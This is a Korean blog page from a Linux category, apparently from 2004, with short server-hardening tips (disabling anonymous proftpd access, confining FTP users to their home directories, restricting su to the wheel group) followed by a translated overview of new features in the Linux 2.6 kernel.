    #vi proftpd.conf (/etc 에 위치)
    중략
    <Anonymous~ftp> 에서
    UserAliasanonymous ftp //이부분을 주석처리 해준다.
    wq (저장후 종료)


    특정 user가 ftp 접속후 본인의 Directory 외에 다른 유저의
    Directory를 접근 못하게 할 경우
    (접근을 해서 read 권한만있어도 그 유저의 설정을 모두볼수있다.)

    *proftp를 사용하는 경우 

    # vi /etc/proftpd.conf
    이 화일에이 한줄을 추가한다.
    DefaultRoot ~ member
    [root@ blueji78]# /etc/rc.d/init.d/proftpdrestart

    (소스 설치시에는 보통)
    [root@ blueji78]# /usr/local/proftpd/sbin/proftpd restart
    restart보다 ftp데몬을 죽이고 다시 시작하는게 좋다.


    이러면 본인의 Directory외에 다른 유저의 계정은 접근 불가.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    [linux] hostname 바꾸기..  (0) 2004.06.08
    Posted by tornado
    |

    ▩ 서버에서 제한된 유저들만 root로 접근하게 하기

     

    제한된 유저들에게만 su 허용

     

    #cd /etc/pam.d

    #vi su

    auth       required     /lib/security/pam_wheel.so use_uid 부분 주석을 제거

     

    /etc/group 파일을 열어 su 허용할 계정명들을 wheel 나열해준다.

     

    예를 들어 mycom blueji78 계정만을 넣어줄경우

    :

    wheel:x:10:root,mycom,blueji78 // 삽입 (구분자는 쉼표)

    :

    :

     

    위에서 지정한  계정외의 계정으로 su 하면 패스워드가 맞게 들어가도

    su: incorrect password라는 프롬프트가 떨어지며 접속이 안된다.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    [linux] hostname 바꾸기..  (0) 2004.06.08
    [펌] Nmap 네트워크 점검 도구 및 보안 스캐너 3  (0) 2004.06.04
    Posted by tornado
    |

    리눅스 2.6의 멋진 세상

    Joseph Pranevich - jpranevich AT kniggit.net

    Translated by Nate Park (박종구) - youlsa AT i-on.net

    첫번째 2.4 시스템이 부팅한 것이 엊그제 같은데 시간은 어느덧 흘러 리눅스 2.6이 세상에 나오게 되었다. 이 문서는 i386 플랫폼을 중심으로 리눅스 커널 2.6의 전반적인 면에 대한 설명을 위한 문서이다. 여기에 설명하는 새로운 기능들 중 몇몇은 공식적으로 또는 배포판 관리자들에 의해 커널 2.4로 백포팅(back-porting)된것도 있을 것이다. 그 외에도 커널 2.4의 유지보수 과정에서 추가된 기능들에 대한 설명도 함께 하도록 하겠다.

    현재 이 문서는 10여개의 언어에 대한 번역문서가 존재하며 문서의 제일 아랫쪽을 참조해주기 바란다.

    지금까지의 이야기들...

    리눅스 커널은 리누스 토르발즈가 그의 386 컴퓨터에서 실행가능한 미닉스(minix)와 비슷한 운영체제를 만들기 시작한데서 시작되었다. (처음에 리누스는 운영체제의 이름을 Freax라고 짓고 싶었다고 한다) 싱글 CPU의 i386머신에서만 실행 가능한 리눅스 커널 1.0의 공식 릴리즈는 1994년 3월이었다. 그로부터 1년 후인 1995년 3월에 최초로 i386이 아닌 플랫폼에서 실행가능한 (그러나 여전히 싱글 CPU에서만 동작하는)리눅스 1.2가 릴리즈 되었다. 1996년 6월에 리눅스 2.0이 릴리즈 되었다. 2.0에는 동작 가능한 여러 플랫폼이 추가 되었지만 무엇보다도 다중 CPU를 갖는 머신(SMP)에서 동작하는 최초의 버전이었다. 2.0의 릴리즈 이후 주요 버전의 릴리즈 속도는 다소 늦춰졌다. (리눅스 2.2가 1999년 1월, 2.4가 2001년 1월에 각각 릴리즈 되었다) 하지만 각각의 마이너 버전업은 자주 일어나 지원되는 하드웨어의 범위와 확장성이 개선되어 갔다. (리눅스 2.4는 최초로 ISA 플러그앤 플래이와 USB, PC 카드 등의 기능이 추가되어 최초로 사용자들의 데스크탑에서 쓸만한 버전이었다는 점도 주목할만 하다) 리눅스 2.6은 2003년 12월 17일에 릴리즈 되었다. 2.6은 다양한 추가 기능도 기능이지만 매우 대용량 시스템에서부터 아주 작은 시스템(PDA등)까지 고루 지원한다는 점에 있어서 또 한번의 큰 개선버전이기도 하다.

    핵심 하드웨어 지원

    리눅스의 가장 강력한 점 중 하나는 그 유연성과 지원 하드웨어의 광범위함에 있다. 이 문서는 i386 기반의 PC에서의 사용에 중점을 맞추고 있기는 하지만 리눅스 2.6의 뛰어난 하드웨어 지원은 짚고 넘어갈만 하다.

    축소 - 임베디드 시스템을 위한 리눅스

    리눅스 커널 2.6의 중요한 두가지 변화 중 하나는 유씨리눅스(uClinux) 프로젝트를 메인 커널에 병합했다는 것이다. 유씨리눅스 프로젝트는 마이크로 콘트롤러를 위한 리눅스를 제작하는 프로젝트이다. 유씨리눅스는 이미 임베디드 시장에서는 주요 OS중 하나로 인정받고 있기 때문에 메인 커널에 이를 병합 하는 것은 앞으로의 임베디드 시장에서 리눅스의 발전에도 큰 힘이 된다고 볼 수 있다. 일반적인 리눅스 커널과는 달리 임베디드 플랫폼에 사용되는 리눅스 커널은 하드웨어적 제약 때문에 몇가지 제한이 있게 된다. 가장 중요한 점 하나는 MMU(메모리 관리 유닛 - 프로텍티드 모드의 핵심적 기능을 한다)가 없다는 것이다. 물론 그래도 멀티태스킹 운영체제이기는 하다. (메모리 관리 기능이 없을 경우 한 프로세스가 다른 프로세스의 데이타 영역에서 자료를 읽고 쓰거나 심지어는 프로세스 자체를 망가뜨릴 수도 있다) 하지만 이런 경우 멀티 유저 시스템을 구성하기가 곤란해지지만 PDA와 같은 저가형 소형 디바이스들의 경우에는 훌륭한 선택일 수도 있다. 이런 아키텍쳐 변화가 중요한 것은 2.6 이전까지의 리눅스 커널은 사실상 리누스의 초기 작업들이 수행된 인텔 80386 플랫폼의 영향이 상당히 많이 남아 있었다는 점 때문이다.

    리눅스 커널 2.6에서 히타치 H8/300시리즈, NEC v850, 모토롤라의 m68k 임베디드 프로세서 등이 추가적으로 지원되기 시작했다. 보통 리눅스 사용자들이 처음으로 사용하는 PDA가 팜 파일럿 계열인 경우가 많기 때문에 모토롤라의 프로세서들은 어느 정도 친숙할 것이다. 모토롤라나 Lineo, Arcturus등의 Dragonball, Cold Fire같은 제품들이 지원된다. 슬프게도 MMU가 없는 예전의 m68k 계열의 CPU들은 지원되지 않는다. (올드맥에 사용되는 CPU이다) 누군가가 취미 프로젝트로 오래된 머신들에 리눅스를 포팅하는 프로젝트를 시작할 수도 있을 것이다.

    유씨 리눅스 통합의 일부는 아니지만 리눅스 커널 2.6에는 Axis Communications의 ETRAX CRIS(Code Reduced Instruction Set)가 지원된다. (사실 이 기능은 2.4 릴리즈 이후 유지보수의 과정에서 추가되었다) 이것들은 주로 네트웍 하드웨어에 사용되는 MMU가 포함된 임베디드 프로세서이다. MMU가 포함되지 않은 프로세서에 대한 지원도 외부 프로젝트로 수행되고 있는 것으로 안다.

    하드웨어 지원에 덧붙여 메인 커널에 임베디드에 관한 부분을 통합하여 얻게 된 이점들이 여러가지가 있지만 겉으로 보기에는 특별해 보이지는 않지만, 몇몇 변화사항들, 예컨데 스왑 없이도 시스템을 구성할 수 있는 능력 등등이 커널을 더욱 견고하게 만든 점등이 있을 수 있다.

    대규모로 -- NUMA와 대규모 기계들

    리눅스 커널 2.6의 근본적인 두가지 변화 중 나머지 하나는 아이러니하게도 앞의 것과 정반대 방향으로의 확장이다. 리눅스가 더욱 더 대규모 서버에서 사용 가능하도록 하는 방향이다. (큰 시스템들 중 어떤 시스템은 i386 기반이겠지만 어떤 것은 아니다) 이 방향에서의 리눅스의 가장 큰 변화는 NUMA 서버의 지원이다. NUMA(Non-Uniform Memory Access)의 지원은 멀티 프로세싱에 있어서 SMP에서 한걸음 더 나아간 것으로 많은 CPU를 가진 시스템에서 좀 더 효율적으로 동작할 수 있게 해주는 첫걸음이라고 할 수 있다. 다중 CPU 서버에서는 단일 메모리 버스에 여러개의 CPU들이 동시에 억세스를 하게 되는데 여기에서 병목현상이 발생하게 된다. NUMA 서버에서는 이런 문제를 각각의 CPU에게 다른 메모리보다 가까운 메모리를 지정해주도록 함으로써 해결한다. 기술적으로 정확한 표현은 아니지만, 이렇게 상상하면 쉽다. 시스템이 여러장의 카드로 이루어 졌다고 상상해보자. 각각의 카드들은 각각 자신만의 CPU와 메모리, 입출력 장치들을 가지고 있다. 시스템에 이런 카드들이 많이 있다고 생각하면 각각의 CPU는 (물론 다른 카드의 메모리와 통신을 할수도 있겠지만) 자신과 같은 카드에 있는 메모리가 가장 가깝고 속도도 빠를 것이다. NUMA 아키텍쳐는 이런 식으로 타이트하게 구성된 클러스터라고 생각할 수 있다.

    이런 NUMA 머신들을 효율적으로 지원하기 위해 리눅스 커널에서는 몇가지 개선사항을 도입하였다. 우선, 리눅스 커널 내부에서 각각의 프로세서와 메모리들, 입출력 장치들의 관계를 알아낼 수 있도록 위상(topology) API들이 추가되었다. 이를 기반으로 커널의 프로세스 스케쥴러는 최대한 효율적으로 가까운 리소스가 어떤 것인지를 이해하고 활용할 수 있게 된다. 추가적으로 많은 NUMA 머신들은 각 노드가 차지하고 있는 메모리 사이에 구멍이 뚫리도록(어드레스 공간이 연속적이 않다는 뜻) 구현되어 있는데 리눅스 커널에서는 이런 비연속적인 메모리도 제대로 다룰 수 있다. 여기에 언급한 것들 말고도 리눅스 커널에는 대용량의 서버들을 제대로 지원할 수 있는 여러가지 개선사항들이 개선되었고 앞으로도 더욱 많은 개선이 있을 것이다.

    서브 아키텍쳐(subarchitecture) 지원

    앞서의 두가지 변화사항만큼 큰 변화는 아니지만 리눅스 커널의 새 버전에는 더욱 많은 머신에서 리눅스를 실행시킬 수 있도록 해주는 서브 아키텍쳐(subarchitecture)라는 개념이 구현되었다. 이전 버전까지의 리눅스 커널에서는 CPU의 종류와 아키텍쳐의 종류가 일치한다고 가정해왔다. 예를 들어 CPU가 i386이라면 무조건 PC/AT 아키텍쳐 기반의 PC라고 가정을 했던 것이다. 리눅스 2.4에서 이러한 가정이 깨졌는데 SGI의 Visual Workstation때문이었다. CPU만 인텔의 칩이였고 아키텍쳐가 PC와는 완연히 다른 기계이다. (물론 다른 아키텍쳐에서는 그 전에도 이 가정이 깨지긴 했다. m68k 아키텍쳐에서 Amiga, 매킨토시 등이 동시에 지원되는 등의 예가 있었다.) 하지만 리눅스 커널 2.6에서의 큰 변화는 모든 아키텍쳐에 대해 동일한 방법으로 서브 아키텍쳐를 지원할 수 있도록 표준화 되었다는 것이다.

    이런 표준화 덕분에 i386에서도 두개의 새로운 플랫폼이 추가 지원된다. 첫번째는 NCR의 Voyager 아키텍쳐이다. 이것은 32개까지의 486-686 CPU를 지원하는 SMP 시스템이다 (현재의 표준인 인텔 MP 스펙이 나오기 전에 나온 시스템이다). 실제 판매된 갯수는 그리 많지 않고 판매된 모든 기계가 지원되는 것은 아니다. (최초에 판매된 머신들은 지원되지 않는다) 새로 추가된 두번째 플랫폼은 NEC가 개발하여 비교적 최근까지 일본 시장에서 독점적 위치를 차지하고 있던 PC-9800이다. PC-9800은 8086에서 시작하여 펜티엄급과 SMP까지 지원되던 성숙한 플랫폼이었다. (물론 리눅스 커널은 80386이상의 머신에서만 동작한다) 미국에는 전혀 소개되지 않았지만 마이크로 소프트의 윈도우 95까지 이 머신에서 동작하도록 포팅되어 판매된 바 있다. 하지만 그 이후에는 표준 PC가 그 자리를 대치해가고 결국 단종되었다.

    이런 "약간만 다른" 하드웨어 타입들을 지원할 수 있는 구조 덕분에 앞으로 스토리지 기기라던가 유명 CPU를 사용하는 머신들에 대한 지원이 손쉬워졌다. 하지만 이것이 만능은 아니다. 이런 서브 아키텍쳐는 IRQ 라우팅과 같이 하드웨어의 최하위 레벨의 콤포넌트가 다른 점을 커버하기 위해서 나온 것이다. PC와 거의 동일하지만 아주 약간만 다른 엑스박스에서 리눅스를 돌리는 것과는 다르다는 점을 명심해야 한다.

    하이퍼쓰레딩

    리눅스 커널 2.6에서의 또다른 큰 진보 중 하나는 하이퍼 쓰레딩의 지원이다. 하이퍼 쓰레딩은 현재 최신 펜티엄 4에서만 지원되고 있으나 다른 곳에서도 지원할 수 있을것이다. 하드웨어 적으로 하나의 CPU를 두개나 그 이상의 CPU로 보이도록 해주는 기술이다. 이것은 어떤 경우에는 큰 퍼포먼스 향상을 불러오지만 스케쥴링의 복잡성이 증가하는 원인이 되기도 한다. 커널의 개선사항중 하나는 이제는 커널이 전 CPU(실제이건 가상이건)에 걸쳐 부하를 분산하고 최적화를 할 수 있다는 점이다. 이전 버전의 리눅스 커널에서는 전체적인 부하를 계산할 수 없어서 한개의 CPU가 혹사당하는 일이 잦았었다. 대단한 점은 리눅스 커널이 시장에서 이 기능을 제일 깔끔하고 지능적으로 지원하고 있다는 점이다. (윈도우 2000 서버는 가짜 CPU들을 볼 수 있으나 가상 CPU로 이용하려면 추가 CPU 라이센스가 필요했다. 마이크로 소프트가 이 기능을 제대로 지원하게 되는 것은 윈도우 XP 부터이다)

    리눅스 내부

    확장성의 개선

    앞서 나열한 NUMA나 하이퍼쓰레딩과 같은 일반적인 기능들 이외에도 리눅스2.6은 인텔 CPU 기반 서버를 십분 활용하게 해주는 기능들을 가지고 있다. 가장 중요한 개선사항은 PAE(Physical Address Extension)이라고 부르는 인텔 하드웨어의 기능이다. 이것은 최신의 32비트 x86 시스템들이 64GB까지의 RAM을 페이지 모드로 읽을 수 있도록 해주는 기능이다. 멀티 CPU 시스템에서의 APIC 지원 개선을 통한 IRQ 밸런싱 기능도 상당히 개선되었다.

    새로운 하드웨어 기능 추가 이외에도 내부적 한계치들이 가능한한 최고 수준까지 높여졌다. 예를 들어 유니크한 사용자와 그룹의 수가 65,000에서 40억으로 늘어(16비트에서 32비트로 늘어난 것이다) 리눅스를 파일서버나 인증서버로 활용하는데 지장이 없도록 개선되었다. 프로세스 ID(PID)의 갯수도 32,000개에서 10억개로 증가하여 uptime이 매우 길고 바쁜 서버에서 새로운 프로세스를 생성하는 퍼포먼스가 향상되었다. 열수 있는 최대한의 파일의 갯수는 늘지 않았지만 이전과 같이 미리 원하는 한계치를 지정하지 않아도 자동으로 늘도록 수정되었다. 마지막으로 리눅스 2.6에서 블럭 디바이스들이 64비트를 지원할 수 있도록 수정되었다. i386과 같은 32비트 플랫폼에서도 마찬가지이다. 그래서 일반적인 하드웨어에서 파일 시스템을 16TB 까지 사용할 수 있게 되었다.

    리눅스 커널 2.6의 확장성에 대한 개선사항 중 또다른 중요한 점은 커널 자체가 디바이스의 여러 타입을 지원하는 것 뿐만 아니라 한가지 타입의 여러가지 디바이스의 종류를 지원한다는 사실이다. 지금까지의 리눅스들은(사실은 거의 모든 유닉스가 그러하지만) 시스템의 사용자와 프로그램들이 숫자가 메겨진 디바이스 노드와 통신을 하도록 되어 있다. (/dev 디렉토리의 항목들) 이 디바이스 노드들은 255개의 주 디바이스로 제한되고 각각 255개의 부 디바이스로 제한된다. 예를 들어 /dev/sda2라는 디바이스는 첫번째 SCSI 드라이브의 두번째 파티션이라는 뜻인데 주 디바이스 번호가 8이고(SCSI가 다 그렇다) 부 디바이스 번호가 2이다. 다른 타입의 디바이스들은 각각의 주 디바이스 번호와 부 디바이스 번호를 할당 받는다. 하지만 255개 이상의 디바이스가 필요한 서버에서는 난관에 봉착하게 된다. (대형 스토리지 어레이, 프린트 팜 등) 리눅스 2.6에서는 이러한 제한들이 4096 주 디바이스와 각각에 100만개의 부 디바이스를 가질 수 있도록 확장되었다. 현재 나와 있는 최고 사양의 머신들도 아무런 문제없이 지원할 수 있도록 되었다.

    상호작용성과 응답성

    확장성과 함께 새 버전의 개발과정에서 중요하게 여겨진 것은 시스템의 응답성이다. 이것은 일반적인 데스크탑 사용자뿐만 아니라 고도의 정확성을 요구하는 응용 프로그램에게도 유용하다. 물론 이런 개선에도 불구하고 리눅스 2.6은 여전히 리얼타임 OS는 아니다. 리얼타임 OS가 되기 위해서는 액션에 대한 응답이 정해진 시간 안에 분명히 보장되어야 하고 예측가능해야 한다. 그럼에도 불구하고 이러한 응답성의 개선은 모든 계층의 리눅스 사용자들에게 호평받을 것이다. (물론 리얼타임 OS의 기능을 제공하기 위한 프로젝트가 존재한다. 이 프로젝트는 다음번 메이저 릴리즈에 공식적으로 공표될 것이다)

    리눅스 커널 2.6의 가장 중요한 개선 사항중 하나는 드디어 커널 자체가 선점형으로 동작한다는 것이다. 이전 버전의 리눅스에서 커널 자체가 작업을 하는 동안에는 다른 프로세스를 위한 인터럽트를 허용하지 않아왔다. (물론 다중 CPU인 시스템에서는 CPU당 그렇다) 리눅스 2.6에서는 커널 자체가 작업을 하는 도중에도 인터럽트되어 다른 어플리케이션이 자신의 작업을 해나갈 수 있다. 물론 여전히 커널이 처리하는 도중에 인터럽트 되지 않는 작업이 있기는 하다. 하지만 실제 상황에서 너무나 짧은 시간이라 대부분의 사용자들은 그 딜레이를 거의 눈치채지 못할 것이다. 결국, 시스템에 부하가 많이 걸리는 상황에서도 사용자의 입력에 대해 시스템이 매우 빠르게 동작하는 것을 느끼게 될 것이다.

    리눅스의 입출력 서브시스템들에 대폭적인 수정이 가해져서 큰 부하 아래에서도 응답성이 좋아지도록 개선되었다. 이것은 I/O 스케쥴러를 재작성하여 구현되었다. I/O 스케쥴러는 특정 시간에 어떤 프로세스가 디바이스들을 점유할 것인지를 결정하는 역할을 하는 커널 내의 루틴이다. 새로 작성된 스케쥴러는 한 프로세스가 너무 오랫동안 대기하지 않도록 효율적인 배분이 가능하게 해준다.

    어플리케이션 측면에서 리눅스용 프로그램들의 응답성이 개선되도록 돕기 위해 새로운 futex(Fast User-Space Mutex)가 지원된다. Futex는 여러 프로세스나 쓰레드들 사이에서의 레이스 컨디션(race condition)을 피할 수 있도록 이벤트들을 시리얼라이즈(serialize)되도록 한다. 기존의 Mutex와는 달리 Futex는 절반 정도는 커널에 기반하고 우선순위가 높은 어플리케이션이나 쓰레드가 리소스에 우선적으로 접근할 수 있도록 한다. 프로그램이 태스크들에 우선순위를 먹여 이를 기반으로 Mutex를 걸도록 함으로써 반응시간을 향상 시킬 수 있는 것이다.

    위의 것들에 덧붙여 많은 경우에 응답성을 강화해주는 소소한 개선사항들이 포함되어 있다. 이중 하나는 이른바 "Big Kernel Lock"을 제거했다는 것과 파일시스템 미리 읽기의 최적화, 소규모 파일 처리 등등이 그것이다.

    기타 개선 사항들

    다른 오픈소스 프로젝트들도 그렇듯이 리눅스는 오픈 스탠다드를 지향한다. 커널 2.6의 주요 개선 사항중 하나는 쓰레드 구조의 변경을 통해 POSIX 쓰레드 라이브러리(NPTL)을 돌릴 수 있다는 것이다. 이것은 많은 쓰레드를 동시에 돌리는 펜티엄 프로나 그 이상의 프로세서에서 큰 퍼포먼스 개선효과를 보여주며, 아마도 엔터프라이즈 시장에서 가장 각광 받을 개선사항일 수 있을 것이다. (사실 레드햇은 이미 이 기능을 2.4로 백포트(backport)하여 레드햇 9와 어드밴스드 서버 3.0에 포함시켰다) 이 변화는 쓰레드 그룹, 각 쓰레드의 로컬 메모리, POSIX 스타일의 시그널 등과 같은 리눅스 쓰레드의 새로운 컨셉들을 포함한다. 한가지 단점은 몇몇 버전의 Sun Java와 같이 예전의 리눅스를 기준으로 작성된 어플리케이션들이 제대로 동작하지 못할수도 있다는 것이다. 하지만 장점이 워낙 크기 때문에 대부분의 문제 어플리케이션들도 결국에는 새 커널을 제대로 지원할 것이다.

    모듈 서브시스템과 통합 디바이스 모델

    요즘의 운영체제들은 수많은 종류의 내부/외부 버스와 디바이스들을 다루어야만 한다. 새 버전의 리눅스에서 이 점이 대폭 보강된 것도 그리 놀라울 일은 아니다. 모듈 로더뿐만이 아니라 하드웨어에 대한 이해방식 자체도 상당한 변화가 있다. 변화된 부분은 우스울 정도로 간단한 것부터 시작해서 (드라이버 모듈이 이전에는 ".o"확장자를 가졌는데 이제는 커널 오브젝트를 뜻하는 ".ko"로 바뀐 것) 크게는 통합 디바이스 모델(unified device model)의 도입까지이다. 모두 안정성의 개선과 이전 버전의 한계를 극복하기 위한 방향으로 작업이 진행되었다.

    모듈 서브 시스템의 안정성을 강화하기 위해 많은 큰 변화사항들이 존재한다. 모듈을 내리는(unload) 경우 모듈이 사용중인 와중에 내리게 되는 경우를 줄었다. 이전에는 대부분 시스템 크래쉬를 유발하는 경우가 많았었다. 안정적으로 돌아가야 하는 서버들을 위해 모듈을 내리는 기능을 아예 꺼버릴 수도 있게 했다. 추가적으로 각 모듈이 자신이 어떤 하드웨어를 지원하는지 알도록 하고 이를 공표할 수 있는 공표하는 표준절차가 마련되었다. 이전 버전의 리눅스에서는 각 모듈이 자신이 지원하는 하드웨어가 무엇인지는 알고 있었지만 이 정보가 모듈 밖에서는 공유되지 못했었다. 이 개선사항 덕분에 레드햇의 kudzu와 같은 하드웨어 관리 프로그램들이 좀 더 지능적으로 개선될수 있게 되었다. 공식적으로는 지원되지 않으나 거의 비슷한 구조를 가진 하드웨어에 대해 드라이버에게 특정 하드웨어에 대해 강제로 동작하도록 하는 것이 가능해졌다.

    새 커널 버전에서는 모듈 로딩 이외에도 디바이스 모델 자체가 상당한 변화를 겪었다. 정해진 디바이스를 감지하는 등의 단순한 역할만을 행하는 모듈 로더와는 달리 디바이스 모델은 시스템 내의 하드웨어 전반에 대한 책임을 지는 좀 더 깊은 개념이다. 리눅스 2.2 이전에는 모듈 레벨에서만 모든 것을 판단하는 통합 디바이스 모델의 가장 간단한 서포트만이 존재했었다. 지금까지는 이러한 구조로도 충분했으나 ACPI등 최신 하드웨어 기능들을 모두 이용하기 위해서는 각 디바이스가 사용하는 리소스만 아는 것으로 충분하지 않다. 디바이스가 사용하는 버스의 종류라던가 가지고 있는 부디바이스의 종류나 현재의 전원공급 상태, 충돌시 사용 리소스를 바꾸어야 하는지 여부 등의 여러가지 상태들을 파악하고 있어야만 한다. 심지어는 현재의 디바이스에 알맞은 모듈이 이미 로드되어 있는지 여부도 파악할 수 있어야만 한다. 리눅스 커널 2.4에서 PCI와 PC 카드, ISA, PnP 버스들을 동일한 인터페이스로 묶을 수 있는 통합 인터페이스가 도입되었다. 리눅스 2.6에서는 새로운 형식의 커널 오브젝트(kobject)를 통해 시스템의 디바이스 지원을 한 차원 높이 끌어올리고 있다. 레퍼런스 카운팅이나 전원 관리, 유저 스페이스(user-space)와의 연결 방법 제공 등 더 나은 통합된 인터페이스를 제공한다.

    디바이스들에 대한 자세한 정보가 커널에 모두 제공되므로 랩탑이나 데스크탑 컴퓨터들에 대한 좀 더 심도 깊은 지원이 가능해졌다. 가장 좋아지는 부분은 PC카드나 USB, Firewire, 핫플러그 PCI등의 핫 플러그(hot plug)기기들에 대한 부분이 될 것이다. 되돌아 생각해보면 리눅스 2.2 이전까지는 이런 종류의 하드웨어 지원이 전무했었다. 근래에는 핫 플러그 방식으로 동작하는 기기가 예외적인 상황이 아니라 일반적인 경우가 되었으므로 새로운 디바이스 관리 시스템에서 기존의 디바이스와 핫 플러그 디바이스의 차이점을 제거하는 것이 꼭 필요했다. 커널의 서브 시스템에서 부팅시에 찾아낸 디바이스와 실행중에 찾아낸 디바이스의 차이점을 차별하지 않음으로써 핫 플러그 방식의 디바이스를 처리하는 방식이 간단해졌다. 이번 버전에서 새로 작성되고 개선된 부분은 전원 관리에 대한 부분이다. 최근에 새로운 표준으로 사용되는 ACPI(Advanced COnfiguration and Power Interface)는 지난 버전에 약간 엉성한 방식으로 지원됐었다. 이전의 표준이었던 APM(Advanced Power Management)와는 달리 ACPI를 사용할 때에는 OS가 모든 디바이스들에게 전원 공급 상태를 바꾸도록 통보해야 한다. 하드웨어 전체에 대한 정보를 모두 파악하고 있지 않다면 커널이 이런 통보 작업을 하는 것이 불가능할 것이다. 이 두가지 예로 든 것들 이외에도 통합의 효과로 이득을 보는 몇몇 분야들이 있다. 하드웨어의 연결시험(auditing)이나 감시 등이 그것이다.

    마지막으로 (그리고 가장 중요한지도 모르지만) 시스템 파일시스템가 분화된 것이 중요한 변경사항이다. 시스템 파일 시스템은 "sysfs"라고 부르는데 프로세스는 'proc', 디바이스들은 'devfs', UNIX98 수도터미널(pseudo-terminal)들은 'devpts'이다. /sys에 마운트되는 이 파일 시스템은 커널이 디바이스를 어떻게 보는지 그대로 보여준다. (물론 예외도 있다) 검색된 디바이스의 속성의 갯수를 포함해서 디바이스의 이름과 IRQ, DMA, 전원 공급 상태 등의 사항들을 커널이 어떻게 파악하고 있는지 알 수 있다. 물론 이런 변화는 단기적으로는 혼란을 초래할 수도 있지만 결국에는 잘 이전될 것이다. 약간의 과도기가 있을 것이다.

    시스템 하드웨어 지원

    리눅스가 주류로 나아가면서 각각의 커널에서 지원하는 디바이스들이 비약적으로 늘고 있다. 비교적 새로운 기술(USB 2.4등)이나 기존의 오래된 기술들(MCA 2.2등)도 포함된다. 커널 2.6이 발표되면서 리눅스가 지원하지 않는 하드웨어는 비교적 적다. 하지만 아직도 지원되지 않는 PC 하드웨어들이 있다. 그렇기 때문에 유연성을 향상시키기 위해 새로운 기능을 추가하기 보다 i386 하드웨어의 지원이 개선되는 것이다.

    내장 디바이스

    프로세서의 타입과 거의 동일한 수준으로 비슷한 것이 시스템이 어떤 버스를 사용하고 있는지 여부이다. PC 업계에는 예전의 ISA를 비롯하여 현재의 외부 시리얼 장치나 와이러리스 버스에 이르는 필요 이상으로 많은 종류의 버스가 혼재되어 사용되고 있다. 리눅스는 언제나 최신의 버스나 디바이스가 발표되고 인기를 끌게 되면 즉시 이를 차용하여 지원하도록 하고 있지만 비교적 덜 인기가 있는 기술에 대해서는 조금은 느린 대응을 보이고 있다.

    리눅스의 시스템 내부 디바이스에 대한 지원은 비교적 공명정대하다. 가장 좋은 예가 ISA 플러그앤 플레이에 대한 지원이다. 리눅스는 커널 2.4 이전까지는 어떠한 PnP에 대한 지원도 제공하지 않았었다. 하지만 이 지원은 PnP BIOS의 지원이 구현되면서 모두 지원되기 시작했다. 디바이스 이름에 대한 데이타베이스나 기타의 호환성에 대한 것들이 변화되면서 그렇게 되었다. 결과적으로는 이제 리눅스는 진정한 플러그앤 플레이 운영체제가 되어 버렸다. 다른 오래된 버스들, 예컨데 MCA나 EISA등이 모두 새로운 디바이스 모델에 포함되어 한꺼번에 구현된 것이다. 커널 2.6에서는 PCI(Peripheral Component Interconnect) 서브 시스템의 개선 사항에 포함하여 몇가지 이슈들이 개선되었다. 핫 플러그 PCI, 전원 관리, 다수 AGP의 지원, 등이다. 마지막으로 이런 버스들과 함께 리눅스 2.6에서는 "legacy" 버스라는 개념을 포함한다. 이것은 각각의 버스에 대해 거의 반드시 있을만한 디바이스에 대한 정보를 미리 가지고 있는 것이다. 예를 들자면 PC에서는 온보드 시리얼 포트, 패러렐 포트, PS/2 포트등이 어떤 버스에나 거의 반드시 포함되어 있는 디바이스들이다. 물론 이런 지원을 하기 위해서는 펌웨어를 억세스 하는 등의 좀 더 복잡한 작업이 수반되지만 일반적으로는 새로운 드라이버 패러다임에 걸맞는 방식으로 모든 디바이스들을 제어하도록 하는 수단이 된다.

    외장 디바이스

    최근의 개발 과정 동안 약간 오래된 내부 디바이스 버스들에 대한 새로운 기능추가가 좀 덜했던 것은 사실이지만 새로운 외장 하드웨어에 대한 지원은 그렇지 않다. 이쪽으로 가장 중요한 개발 사항 중 하나는 USB 2.0 디바이스에 대한 지원이다. 이들 디바이스들은 고속 USB 디바이스라고 불리는데 480Mbps의 속도가 나와 이전의 12Mbps로 동작하던 USB 디바이스들과 대조를 이룬다. 이것과 관련된 최신 표준인 USB OTG(USB On-the-go)는 현재 리눅스 2.6에서는 지원되지는 않는다. (이것은 PC를 끼지 않고 디지탈 카메라를 프린터에 연결하는 등의 일을 가능하게 해준다) (이에 대한 패치는 존재하지만 아직 메인 커널에는 통합되지 않았다) 이외에도 USB 디바이스들을 파악하는 루틴이 새로 작성되어 동일한 타입의 디바이스가 여러개일 때에도 잘 동작하도록 수정되었다. 이런 큰 변화들 말고도 리눅스 유저들을 위해 USB 디바이스들의 안정성, 호환성이 향상되도록 개발 과정에서 많은 배려가 있었다.

    이런 것들과 정반대의 방향에서, 리눅스 2.6에서는 리눅스 시스템이 USB 호스트가 아닌 USB 디바이스로 동작하는 것이 가능하도록 하는 부분이 추가되었다. 예를들어 리눅스 기반의 PDA가 PC에 연결되어 제대로 동작할 수 있도록 하는 등의 일들을 위한 기반이 마련되었다. 임베디드 디바이스에서 리눅스가 제대로 사용되기 위해 꼭 필요한 기능이라고 할 수 있다.

    무선 디바이스

    최근 몇년간 무선 디바이스들의 사용이 인기를 끌기 시작했다. 어떨 때에는 케이블이라는 것이 과거의 유물이고 몇년 안에 사라질 것처럼 생각되기도 한다. (물론 전원 케이블은 예외이다) 무선 디바이스에는 가장 흔히 쓰이는 네트웍 디바이스 부터 PDA와 같은 기기까지 포함한다.

